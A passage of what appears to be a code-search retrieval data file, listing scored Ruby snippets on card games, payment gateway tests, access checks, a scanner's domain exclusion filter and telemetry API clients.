"docid": "4ae671f6123816841ed2bad8941e7bf1",
"score": "0.50386715",
"text": "def requires_merchant_role\n reject_request unless logged_in? && current_user.merchant?\n end",
"title": ""
},
{
"docid": "713c9374b8ed791bd6e7240f68569eaf",
"score": "0.50361764",
"text": "def ignorable_at_rule(at_rule)\n end",
"title": ""
},
{
"docid": "e2a31d65efe367d3457421e6bb1d6bee",
"score": "0.5023362",
"text": "def skip!\n update!(skipped_at: Caffeinate.config.time_now)\n\n caffeinate_campaign.to_dripper.run_callbacks(:on_skip, self)\n end",
"title": ""
},
{
"docid": "749837e381781d1158a3a89f3bd88044",
"score": "0.5007607",
"text": "def net_price_excluded\n price * amount\n end",
"title": ""
},
{
"docid": "b9b9d7207cc228e3192f3868e2a7a7a4",
"score": "0.50065",
"text": "def enabled_cards\n nic_info.cards.reject(&:disabled)\n end",
"title": ""
},
{
"docid": "ef2cde715d34791a6809a79d90d8ac9c",
"score": "0.49899343",
"text": "def nonbalance_accounts\n accounts.reject { |x| x.balances_in }\n end",
"title": ""
},
{
"docid": "79437e7911904478a359cbd234cfafdd",
"score": "0.49876472",
"text": "def exclude?\n false\n # self.class.excluded_accounts.include?(self.account_number)\n end",
"title": ""
},
{
"docid": "14a00386bf477cb20d0cc7f7ffcbfb81",
"score": "0.49872494",
"text": "def onalg_player_cardsnot_allowed(player, cards)\r\n lbl_card = cards[0]\r\n log \"#{player.name} ha giocato una carta non valida [#{nome_carta_ita(lbl_card)}]\"\r\n @player_on_gui[:can_play] = true\r\n player_sym = player.name.to_sym\r\n @cards_players.set_card_empty_player(player_sym, lbl_card)\r\n @table_cards_played.rollback_card_played(player.position, lbl_card)\r\n end",
"title": ""
},
{
"docid": "948badf9be699722bd89b60066f1029e",
"score": "0.49708408",
"text": "def prevent_blank_brand_urls\n begin\n #if the sales rep doensn't require a manufacturer, short circuit\n return if params[:lacks_manufacturers] == \"true\"\n\n website_url = website_url = params[:manufacturer][:website_url]\n\n #for all urls we don't trust\n if params[:trusted_url].to_i == 0\n #new brands must have a unique url\n raise \"ERROR\" if website_url.blank?\n end\n\n rescue\n #error = \"Brand URL can not be blank if new brand.<br>Please select an existing brand or enter the brand url\"\n error = \"Brand URL is required when not selecting an existing brand from the list.\"\n render(:json => { :code => 409, :klass => \"error\", :message => error }) and return\n end\n end",
"title": ""
},
{
"docid": "e64a02de5072eb257871d676f727466b",
"score": "0.49654955",
"text": "def ignore_checksums\r\n end",
"title": ""
},
{
"docid": "d1456507ddaffca4e9e74efffb193d3d",
"score": "0.49604392",
"text": "def from_deck?\n false\n end",
"title": ""
},
{
"docid": "dc59f22cfaaa22377bf53a91e1f6d389",
"score": "0.49555352",
"text": "def skip\n @skip = true\n end",
"title": ""
},
{
"docid": "7014d80d48a9bfa9683c584ee7dc0430",
"score": "0.49479663",
"text": "def slim_test_deck?\n !c2_test && !cvuplus\n end",
"title": ""
},
{
"docid": "2ee1905cde891b205bf723ce5e40ff0b",
"score": "0.49404195",
"text": "def non_dvla_compliance_data\n ComplianceCheckerApi.unrecognised_compliance(type, [zone_id])['charges']\n end",
"title": ""
},
{
"docid": "12845c3f2074dc5471bade10016cd8b0",
"score": "0.49402222",
"text": "def discard_card(card)\n hand.delete card\n discard.unshift card\n end",
"title": ""
},
{
"docid": "c45f192ae64db9d878afd1c1e3c57a8c",
"score": "0.49389246",
"text": "def suppress_bbm(ctx)\n return true unless ctx['pickupable'] != false\n\n return true if ctx['items_nocirc'] == 'all'\n\n false\n end",
"title": ""
},
{
"docid": "a6ab24660117afdecc7526a1a608171c",
"score": "0.49351525",
"text": "def _is_prohibited entity\n\n if entity[\"type\"] == \"NetBlock\"\n cidr = entity[\"attributes\"][\"name\"].split(\"/\").last.to_i\n\n @scan_log.error \"Netblock too large: #{entity[\"type\"]} #{entity[\"attributes\"][\"name\"]}\"\n\n return true unless cidr >= 15\n\n else\n if (\n entity[\"attributes\"][\"name\"] =~ /google/ ||\n entity[\"attributes\"][\"name\"] =~ /g.co/ ||\n entity[\"attributes\"][\"name\"] =~ /goo.gl/ ||\n entity[\"attributes\"][\"name\"] =~ /android/ ||\n entity[\"attributes\"][\"name\"] =~ /urchin/ ||\n entity[\"attributes\"][\"name\"] =~ /youtube/ ||\n entity[\"attributes\"][\"name\"] =~ /schema.org/ ||\n entity[\"attributes\"][\"description\"] =~ /schema.org/ ||\n entity[\"attributes\"][\"name\"] =~ /microsoft.com/ ||\n #entity[\"attributes\"][\"name\"] =~ /yahoo.com/ ||\n entity[\"attributes\"][\"name\"] =~ /facebook.com/ ||\n entity[\"attributes\"][\"name\"] =~ /cloudfront.net/ ||\n entity[\"attributes\"][\"name\"] =~ /twitter.com/ ||\n entity[\"attributes\"][\"name\"] =~ /w3.org/ ||\n entity[\"attributes\"][\"name\"] =~ /akamai/ ||\n entity[\"attributes\"][\"name\"] =~ /akamaitechnologies/ ||\n entity[\"attributes\"][\"name\"] =~ /amazonaws/ ||\n entity[\"attributes\"][\"name\"] == \"feeds2.feedburner.com\"\n )\n\n @scan_log.error \"Prohibited attribute: #{entity[\"type\"]} #{entity[\"attributes\"][\"name\"]}\"\n return\n end\n\n end\n false\n end",
"title": ""
},
{
"docid": "299fe853effd5ce79d8ac2aa71d3b16c",
"score": "0.49336085",
"text": "def skip_except(metadata)\n return unless except?(metadata[:except])\n\n metadata[:skip] = 'Test is excluded in this job'\n end",
"title": ""
},
{
"docid": "789bde8d0b0c578d13f518e27ed86afd",
"score": "0.49332777",
"text": "def discardNecklaceIfVisible()\n @visibleTreasures.each do |k|\n if k.type == TreasureKind::NECKLACE\n CardDealer.instance.giveTreasureBack(k) \n @visibleTreasures.delete(k)\n end\n end\n end",
"title": ""
},
{
"docid": "815e64679963dbcd28b0497a989f77e2",
"score": "0.4922736",
"text": "def skip_if_gluster_bricks_up\n @skip_if_gluster_bricks_up\n end",
"title": ""
},
{
"docid": "c37012de1fd0f75c8e6bbb9b3e46de02",
"score": "0.49218374",
"text": "def disable_car(car)\n disable_car_led(car)\n end",
"title": ""
},
{
"docid": "334671bba984349ce70c8a4965ceb64f",
"score": "0.49203846",
"text": "def initialize(brand)\n @brand = brand\n if !BRANDS.include?(brand)\n BRANDS << brand\n end\n end",
"title": ""
},
{
"docid": "567ec35a64571b67d126b6e9d778453b",
"score": "0.4916953",
"text": "def after_action\n refill_train_deck_from_discards! if train_deck.empty?\n\n discard_available_train_cards! if three_available_train_cards_are_wild?\n\n replenish_available_cards\n end",
"title": ""
},
{
"docid": "d809f476f964353b92137a3c05455687",
"score": "0.49158663",
"text": "def skip!\n @skip = true\n end",
"title": ""
},
{
"docid": "d809f476f964353b92137a3c05455687",
"score": "0.49158663",
"text": "def skip!\n @skip = true\n end",
"title": ""
},
{
"docid": "d3b0b63b75cf5cc1d9a40bdcb33c11e2",
"score": "0.49100554",
"text": "def test_skip()\n test_list = @@werd_list.dup\n criteria = nil\n result = skip(test_list, \"junk\")\n assert_equal(criteria, result)\n end",
"title": ""
},
{
"docid": "f0383e8e58b23ed95a2cf5dc0f2c4614",
"score": "0.4909699",
"text": "def require_3d_secure?(payment)\n true\n end",
"title": ""
},
{
"docid": "123bb766c84f27083cfb258cb7d227a0",
"score": "0.4901339",
"text": "def skip_outrage_for?(symbol)\n [:racoon, faction_symbol].include?(symbol)\n end",
"title": ""
},
{
"docid": "10cb71033f990f22209c38b4e43be057",
"score": "0.4899896",
"text": "def ignore\n self.update_attribute :killed, false\n self.update_attribute :ignored, true\n self.frontend_user.update_attribute :is_account_cheater, false\n end",
"title": ""
},
{
"docid": "a12bbb00f005c1ed40af40e783f3a000",
"score": "0.48998252",
"text": "def set_skip_contract_params(contract)\n contract.term1 = 1\n contract.term2 = contract.money1 = contract.money2 = 0\n end",
"title": ""
},
{
"docid": "7067a3822003e602825f279e320e0ca6",
"score": "0.48941168",
"text": "def discard\n non_damage_dealing = player.hand.find {|card| !card.damage_dealing? }\n non_damage_dealing || player.hand.first\n end",
"title": ""
},
{
"docid": "1e8abd2b6267130869aad5bf6e1ef575",
"score": "0.4894097",
"text": "def merchant_processing!\n raise 'Merchant processing needs to be implenmenting'\n end",
"title": ""
},
{
"docid": "8a58932fa6dff7a387da3f37947417ac",
"score": "0.48869935",
"text": "def discard_from_spy?(card, player)\n !(card.is_a?(Victory) || card.is_a?(Curse))\n end",
"title": ""
},
{
"docid": "8134880f7a2636b30d1438e9e5732878",
"score": "0.48839283",
"text": "def discardHiddenCards?()\n\t\t#Checks if we have at least 4 cards in our hand.\n\t\tif checkSize()\n\t\t\ti = 0 #Index to get to the last 4 cards of your hand.\n\t\t\tj = 0 #Index to discard all 4 cards.\n\t\t\ttemp = Card.new(0, \"\")\n\t\t\t#Checking to see if the 1st and 4th cards match numbers.\n\t\t\tif checkMatchNum()\n\t\t\t\t#Iterating to the 4 cards we want to discard.\n\t\t\t\twhile i < @hand.length - 4\n\t\t\t\t\ttemp = @hand.shift()\n\t\t\t\t\[email protected](temp) #Putting cards we don't want back in our deck.\n\t\t\t\t\ti += 1\n\t\t\t\tend\n\t\t\t\t#Discards 4 cards.\n\t\t\t\twhile j < 4\n\t\t\t\t\[email protected]()#Discarding cards.\n\t\t\t\t\tj += 1 \n\t\t\t\tend\n\t\t\t\tdiscardHiddenCards?() #Now that you discarded cards, have to check again if there's new stuff to discard.\n\t\t\tend\n\t\tend\n\t\tif checkSize()\n\t\t\ti = 0 #Index to get to the last 4 cards of your hand.\n\t\t\tj = 0 #Index to skip two 'middle' cards of the last four.\n\t\t\t#Checking to see if the 1st and 4th card match suits.\n\t\t\tif checkMatchSuit()\n\t\t\t\t#Iterating to the middle two cards\n\t\t\t\twhile i < @hand.length - 3\n\t\t\t\t\ttemp = @hand.shift()\n\t\t\t\t\[email protected](temp)\n\t\t\t\t\ti += 1\n\t\t\t\tend\n\t\t\t\[email protected]() #Discards the middle two cards.\n\t\t\t\[email protected]()\n\t\t\t\[email protected](@hand.pop())\n\t\t\t\tdiscardHiddenCards?() #Now that you discarded cards, have to check again if there's new stuff to discard.\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c8fbd33ac712948d40918c10a1a567f1",
"score": "0.4882587",
"text": "def ignore_irrelavant_fields(json)\n ignore = ['created_at', 'updated_at', 'bundle_id', 'status_code']\n # Unused Encounter fields (start_time and end_time are used instead).\n ignore += ['admitTime', 'dischargeTime', 'transferFrom']\n # Unnecessary Bonnie stuff (measure history, patient bank, expired).\n ignore += ['calc_results', 'has_measure_history', 'results_exceed_storage', 'results_size', 'version', 'is_shared', 'expired', 'expected_values']\n # Unused Medication fields.\n ignore += ['fulfillmentHistory', 'administrationTiming', 'allowedAdministrations']\n # Codes will now correctly include all codes instead of just one\n ignore += ['codes']\n # TODO: Uncomment this once 'related-to' has been added to cqm-models\n ignore += ['references']\n ignore.each { |ignore_key| json.deep_reject_key!(ignore_key) }\n json\nend",
"title": ""
},
{
"docid": "294b12433a4658cc9450f6d015333fbf",
"score": "0.48758498",
"text": "def eliminate_empties\n [\"classes\", \"trade_names\", \"other_names\", \"solubility\"].each do |field|\n unless send(field).nil?\n send(field).reject! { |item| item.empty? }\n end \n end\n end",
"title": ""
},
{
"docid": "3fe3447b006dc62097a6ca1f31e7be19",
"score": "0.4867004",
"text": "def healing_ignore_abilities\n return [\n 'Etheralus',\n ]\n end",
"title": ""
},
{
"docid": "4d230945e3475b3bb0fe383a1241a8cc",
"score": "0.48648182",
"text": "def discard_non_playable\n board = Board.find(params[:board_id])\n user = User.find(params[:user_id])\n\n discard(board, user, params[:card])\n\n push_public_board_info(params[:channel_name], params[:public_update_event_name], board.id)\n push_user_hand_info(params[:channel_name], params[:user_update_event_name], user)\n\n render :json => {:success => true}\n end",
"title": ""
},
{
"docid": "aa893307660a797d4598d7e0c157bb7b",
"score": "0.48637903",
"text": "def discard\n ordered = player.hand.map do |card|\n i = card_preference.map { |preference| card.type == preference }.index(true)\n {card: card, index: i}\n end\n ordered.sort_by { |h| h[:index] || 99 }.last.try(:fetch, :card)\n end",
"title": ""
},
{
"docid": "d0361d3c19469f1e66c7ec5ec4fd3007",
"score": "0.48626447",
"text": "def test_failed_authorize_with_3ds\n session_id = generate_unique_id\n options = @options.merge(\n {\n execute_threed: true,\n accept_header: 'text/html',\n session_id: session_id,\n ip: '127.0.0.1',\n cookie: 'machine=32423423'\n }\n )\n assert first_message = @gateway.authorize(@amount, @threeDS_card, options)\n assert_match %r{missing info for 3D-secure transaction}i, first_message.message\n assert first_message.test?\n assert first_message.params['issuer_url'].blank?\n assert first_message.params['pa_request'].blank?\n end",
"title": ""
},
{
"docid": "39a615c0b7a38d15ab5c3bd468be19d0",
"score": "0.48606262",
"text": "def add_to_discard(card)\n discard.add_card_to_top(card) unless discard.nil?\n end",
"title": ""
},
{
"docid": "12af92a08cce77ace76e64a41d0b313f",
"score": "0.48565623",
"text": "def Skip(reason=true, &block)\n if block\n @_skip = reason\n block.call if block\n @_skip = false\n else\n @_skip = reason\n end\n end",
"title": ""
},
{
"docid": "a3e15bd1888f903af91ba5efef433707",
"score": "0.48509362",
"text": "def skip_element?(element)\n return true if SKIPPED_ELEMENT_NAMES.include?(element.name)\n\n if element.name == 'datafield' && ['040', '852'].include?(element.attribute('tag').text)\n # MARC fields 040 & 852 include the repository name, which is randomly\n # generated by the test suite.\n return true\n end\n\n if element.name == 'publicationstmt'\n # EAD export picks up some repository bits which are also randomly\n # generated.\n return true\n end\n end",
"title": ""
},
{
"docid": "37476c1b3e2f6430a95d099f6013f150",
"score": "0.48491803",
"text": "def onalg_player_cardsnot_allowed(player, cards)\r\n #lbl_card = cards.join(\",\")\r\n nomi = []\r\n cards.each{|c| nomi << nome_carta_ita(c)}\r\n str_log = \"\"\r\n nomi.each{|e| str_log += \"[#{e}]\"}\r\n \r\n log \"#{player.name} ha giocato carte non valide #{str_log}\"\r\n @player_on_gui[:can_play] = true\r\n @log.warn(\"Carte giocate non valide: #{str_log}\")\r\n end",
"title": ""
},
{
"docid": "123c309a6c53b3477c8993c7512dbd8a",
"score": "0.48459336",
"text": "def banned_from_landfill\n wizard_step(WP_STEPS) { { validates: :not_banned_waste } }\n end",
"title": ""
},
{
"docid": "b3a3a1b588ab034d73b94144ed8c64ad",
"score": "0.4839908",
"text": "def skip!\n @skip = true\n end",
"title": ""
},
{
"docid": "2343a4a1b1b787ad66c3af19421cb2b9",
"score": "0.4839155",
"text": "def must_buy_train?(entity)\n return false if entity.id == 'PEIR'\n\n super\n end",
"title": ""
},
{
"docid": "1e797c7e346a0858cfd4127a557239f0",
"score": "0.48337236",
"text": "def ignore!\n @ignore = true\n end",
"title": ""
},
{
"docid": "89bbed470aaefcfb0f963dc08b5eca1a",
"score": "0.48289356",
"text": "def command_403\n check = @list[@index].parameters[0].nil? ? 4 : @list[@index].parameters[0]\n command_skip if @branch[@indent] != check\n end",
"title": ""
},
{
"docid": "fac907db48df10138341556f13c19488",
"score": "0.48268095",
"text": "def skips; end",
"title": ""
},
{
"docid": "5dc3f3f41cb15ad3368f25842bc96768",
"score": "0.48116356",
"text": "def sale()\n itemCount = 0\n if Input.cart.discount_code == nil # IF the cart has a discount code\n puts \"\" # Shopify would not allow the proper logic here so this is a work around IF statement\n else # IF NOT remove it\n Input.cart.line_items.each do |line_item|\n product = line_item.variant.product\n if (product.id == 9556534093)\n Input.cart.discount_code.reject(message: \"Not usable with lab pre-orders\")\n end\n end\n end\nend",
"title": ""
},
{
"docid": "0fe5c7368d6ef61da87aac01de05795f",
"score": "0.48100504",
"text": "def skip_unless(eng, bt: caller)\n skip_msg = case eng\n when :linux then \"Skip unless Linux\" unless Puma::IS_LINUX\n when :darwin then \"Skip unless darwin\" unless Puma::IS_OSX\n when :jruby then \"Skip unless JRuby\" unless Puma::IS_JRUBY\n when :windows then \"Skip unless Windows\" unless Puma::IS_WINDOWS\n when :mri then \"Skip unless MRI\" unless Puma::IS_MRI\n when :ssl then \"Skip unless SSL is supported\" unless Puma::HAS_SSL\n when :fork then MSG_FORK unless HAS_FORK\n when :unix then MSG_UNIX unless Puma::HAS_UNIX_SOCKET\n when :aunix then MSG_AUNIX unless Puma.abstract_unix_socket?\n when :rack3 then \"Skipped unless Rack >= 3.x\" unless ::Rack.release >= '3'\n else false\n end\n skip skip_msg, bt if skip_msg\n end",
"title": ""
},
{
"docid": "2fb30f11713959e5471568ec5e1adf2b",
"score": "0.480755",
"text": "def test_should_detect_tarjetad_card\n assert_equal 'tarjeta-d', CreditCard.brand?('6018282227431033')\n end",
"title": ""
},
{
"docid": "7412c49086f35cdcebbcd26a665a6cd5",
"score": "0.48060206",
"text": "def test_visa_debit_purchase_should_not_send_debit_info_if_present\n @visa_debit.start_month = '07'\n response = @gateway.purchase(@accept_amount, @visa_debit, billing_address: @visa_debit_address)\n assert_success response\n end",
"title": ""
},
{
"docid": "644cf0808286686258e1d032f58e6306",
"score": "0.47996488",
"text": "def sanitize_credit_cards; end",
"title": ""
},
{
"docid": "9e539b159f412f4be51f78b30fb80a88",
"score": "0.47973073",
"text": "def use_card\n # if we drew from the discard pile, \n # we already know where we want to use the card\n if @drew_from_discard\n index_to_place = @place_for_top_discarded\n else\n index_to_place = @current_player.find_useful_rack_placement(@selected_card.number)\n end\n\n placement_indicator = nil\n\n # computer players will only draw the discarded card if they can use it\n # so there is no risk of them trying to discard the card\n if useful_placement?(index_to_place)\n placement_indicator = Rack::RACK_MARKERS[index_to_place]\n prep_place_card_in_rack(placement_indicator)\n else\n prep_discard_drawn_card\n end\n\n save_and_discard(placement_indicator)\n end",
"title": ""
},
{
"docid": "bc2a9d61288f1f7ed73c7c876c38152b",
"score": "0.47910073",
"text": "def may_purchase?(_company)\n false\n end",
"title": ""
},
{
"docid": "39915b167b487d403ef325fdfab84226",
"score": "0.4790918",
"text": "def abc_exclude\n [\n ]\n end",
"title": ""
},
{
"docid": "e62be2c0f88bcfab4947729c677fe2c3",
"score": "0.47887436",
"text": "def is_normal_item(item)\n return item.name != AGED_BRIE && item.name != BACKSTAGE && item.name != SULFURAS && item.name != CONJURED\n end",
"title": ""
},
{
"docid": "e87cb98548c980de3303d64b969caefd",
"score": "0.4782822",
"text": "def discard_deck\n while(!deck.empty?)\n @discard.unshift deck.shift\n end\n end",
"title": ""
}
] |
dbadf61d2a72486f3211e6e74b4f0dd1
|
Read a 'niatelemetry.ApicTransceiverDetails' resource.
|
[
{
"docid": "a2be13559239b6aec12a84a55bab42a4",
"score": "0.57758415",
"text": "def get_niatelemetry_apic_transceiver_details_list(opts = {})\n data, _status_code, _headers = get_niatelemetry_apic_transceiver_details_list_with_http_info(opts)\n data\n end",
"title": ""
}
] |
[
{
"docid": "8c82322d9cac691c53b2e89080642fa6",
"score": "0.556031",
"text": "def info\n readers_length_ptr = FFILib::WordPtr.new\n state_ptr = FFILib::WordPtr.new\n protocol_ptr = FFILib::WordPtr.new\n atr_ptr = FFI::MemoryPointer.new FFILib::Consts::MAX_ATR_SIZE\n atr_length_ptr = FFILib::WordPtr.new\n atr_length_ptr[:value] = FFILib::Consts::MAX_ATR_SIZE\n\n begin\n status = FFILib.card_status @_handle, nil, readers_length_ptr, state_ptr,\n protocol_ptr, atr_ptr, atr_length_ptr\n raise Smartcard::PCSC::Exception, status unless status == :success\n\n readers_ptr = FFI::MemoryPointer.new :char, readers_length_ptr[:value]\n begin\n status = FFILib.card_status @_handle, readers_ptr, readers_length_ptr,\n state_ptr, protocol_ptr, atr_ptr, atr_length_ptr\n raise Smartcard::PCSC::Exception, status unless status == :success\n\n state_word = state_ptr[:value]\n state = Set.new\n FFILib::CardState.to_h.each do |key, mask|\n state << key if (state_word & mask) == mask && mask != 0\n end\n\n { :readers => Context.decode_multi_string(readers_ptr),\n :protocol => FFILib::PROTOCOLS[protocol_ptr[:value]],\n :atr => atr_ptr.get_bytes(0, atr_length_ptr[:value]),\n :state => state }\n ensure\n readers_ptr.free\n end\n ensure\n atr_ptr.free\n end\n end",
"title": ""
},
{
"docid": "6fd3870c31f51974251cab4a938e47b1",
"score": "0.53306353",
"text": "def details(rta_agreement_id)\n API::request(:get, \"rta_agreements/#{rta_agreement_id}\")\n end",
"title": ""
},
{
"docid": "9c14297156235ca6ad124237945a7a60",
"score": "0.5308232",
"text": "def getinfo\n o, s = Open3.capture2(\"#{AIRPORT} -I\")\n if s.success?\n data = o.split(\"\\n\").map(&:strip)\n hashed_data = {}\n data.each do |info|\n key, value = info.gsub(' ','_').split(\":_\")\n key = key.gsub(':','').gsub('.','').downcase\n key = \"wifi_auth\" if key == \"80211_auth\"\n value = Integer(value) rescue value\n hashed_data[key] = value\n end\n @data = OpenStruct.new(hashed_data) \n else\n # custom error?\n return false\n end\n @data\n end",
"title": ""
},
{
"docid": "84c7801341c678acc2be4afce251bcde",
"score": "0.5293089",
"text": "def get_description\n response = nil\n @mutex.synchronize do\n if @description.nil?\n @description = APDescription.new(\n :name => \"MyAPDescription\",\n :services => [\n APService.new(\n :name => \"MyDRbMTP\",\n :type => \"druby\",\n :addresses => @addresses\n )\n ]\n )\n end\n response = @description\n end\n response\n end",
"title": ""
},
{
"docid": "b95852f9af4b143a4ffef4f73637031b",
"score": "0.52713114",
"text": "def details(api_opts={})\n request = GetTransactionDetailsRequest.new\n request.transId = transaction_id\n\n @response ||= authnet(:api, api_opts).get_transaction_details(request)\n if valid_authnet_response?(@response) && @response.messages.resultCode == MessageTypeEnum::Ok\n @response.transaction\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "a0783a154ffc58ac57ca1f86605fbf4b",
"score": "0.51202476",
"text": "def get_niatelemetry_apic_transceiver_details_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: NiatelemetryApi.get_niatelemetry_apic_transceiver_details_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/niatelemetry/ApicTransceiverDetails'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'NiatelemetryApicTransceiverDetailsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"NiatelemetryApi.get_niatelemetry_apic_transceiver_details_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NiatelemetryApi#get_niatelemetry_apic_transceiver_details_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f6fe82aeee3c581d2ea0dcfc80bc262c",
"score": "0.5049861",
"text": "def application_details\n response = client.as(client.app_secret).execute(\n method: :get,\n path: \"/a/#{app_id}\",\n auth_method: HttpClient::AuthMethod::BASIC\n )\n ApplicationDetail.new(**response)\n end",
"title": ""
},
{
"docid": "75dcda1412a703eddfa94027dbc7b339",
"score": "0.5027734",
"text": "def alarm_description\n data.alarm_description\n end",
"title": ""
},
{
"docid": "5afe9a697dc819e49b165c729f65164f",
"score": "0.5025269",
"text": "def getRemediationDetail; @rdetail; end",
"title": ""
},
{
"docid": "7ea32d5b8b41cba2b8e1f30887d15691",
"score": "0.49969673",
"text": "def atr\n status[:atr]\n end",
"title": ""
},
{
"docid": "0f2edfc2ff73d223dc0bae99eb7ce5c4",
"score": "0.49969384",
"text": "def returnACRDetails(transport, volid)\n $token=Facter.value('token')\n acrdetails = doGET(transport['server'], transport['port'], \"/v1/access_control_records/detail?vol_id=\"+volid.to_s , {\"X-Auth-Token\" => $token})\n return acrdetails['data']\nend",
"title": ""
},
{
"docid": "83003bd5bde5cfb94b240a010a292e5f",
"score": "0.49951324",
"text": "def name\n 'RFtransceiver'\n end",
"title": ""
},
{
"docid": "3386511c5e0788847e29d8a642ffeaa3",
"score": "0.49800295",
"text": "def get_niatelemetry_apic_transceiver_details_by_moid(moid, opts = {})\n data, _status_code, _headers = get_niatelemetry_apic_transceiver_details_by_moid_with_http_info(moid, opts)\n data\n end",
"title": ""
},
{
"docid": "41bdf1c6b5f8ce06dd32eb0f3e254e44",
"score": "0.4974965",
"text": "def alarm_description\n data[:alarm_description]\n end",
"title": ""
},
{
"docid": "0425b6b4a664df1c812b29327a464bc5",
"score": "0.49667722",
"text": "def get_transceivers_detail\r\r\r\r\r\r\r\r\n cmd = 'sh hardware-status transceivers detail'\r\r\r\r\r\r\r\r\n regex = /((\\w\\/\\w+)|-\\d+\\.\\d+)/\r\r\r\r\r\r\r\r\n data_splitter = /\\s+/\r\r\r\r\r\r\r\r\n\r\r\r\r\r\r\r\r\n get_low_level_data(cmd, regex, data_splitter)\r\r\r\r\r\r\r\r\n end",
"title": ""
},
{
"docid": "d0cfc5665e67641f69f69c6964571a3d",
"score": "0.49613407",
"text": "def fetch_simulator_details\n get('transaction/fetch-simulator-details')\n end",
"title": ""
},
{
"docid": "695869278887a88d1d9ec532da8ee36a",
"score": "0.49326813",
"text": "def raw_info\n return unless customer_role_auth?\n @raw_info ||= MultiJson.decode(access_token.get('/api/rest/customers').body)\n end",
"title": ""
},
{
"docid": "c0ddca8c4aa50a79125d4f30400e943b",
"score": "0.48932233",
"text": "def show\n @characteristic_details = @characteristic.characteristic_details\n end",
"title": ""
},
{
"docid": "1a049807e3fcf07a15cc39e954739913",
"score": "0.48548967",
"text": "def get_details\n RefernetService.new.get_service_details(self.details['Location_ID'], self.details['Service_ID'], self.details['ServiceSite_ID'])\n end",
"title": ""
},
{
"docid": "f2f3f6b931a3b34f0b3f6a4423fab0f0",
"score": "0.4829884",
"text": "def get_niatelemetry_dcnm_transceiver_details_list(opts = {})\n data, _status_code, _headers = get_niatelemetry_dcnm_transceiver_details_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "cf9df1868631ff6cdad853f989c2771f",
"score": "0.48130935",
"text": "def device_detail\n return @device_detail\n end",
"title": ""
},
{
"docid": "22e467fd57aa078dd080621a8adb4f22",
"score": "0.4791672",
"text": "def details\n if tech == 'sip'\n asterisk_sip\n elsif tech == 'dahdi'\n asterisk_dahdi\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "cb6b4107301f0ec287c2e15e7a06e2eb",
"score": "0.47789937",
"text": "def arn\n cloud_desc.alarm_arn\n end",
"title": ""
},
{
"docid": "3b390753adf670c211c8a87c0a7f15c6",
"score": "0.47600195",
"text": "def readmeta\n read('eai:acl', 'eai:attributes')\n end",
"title": ""
},
{
"docid": "67bf716afeb2cb71b0f4114fc82a07e8",
"score": "0.47494003",
"text": "def card_atr\r\n @atr\r\n end",
"title": ""
},
{
"docid": "9546569c25f25e704eb58ea2d70f8124",
"score": "0.47487932",
"text": "def get_niatelemetry_dcnm_transceiver_details_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: NiatelemetryApi.get_niatelemetry_dcnm_transceiver_details_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/niatelemetry/DcnmTransceiverDetails'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 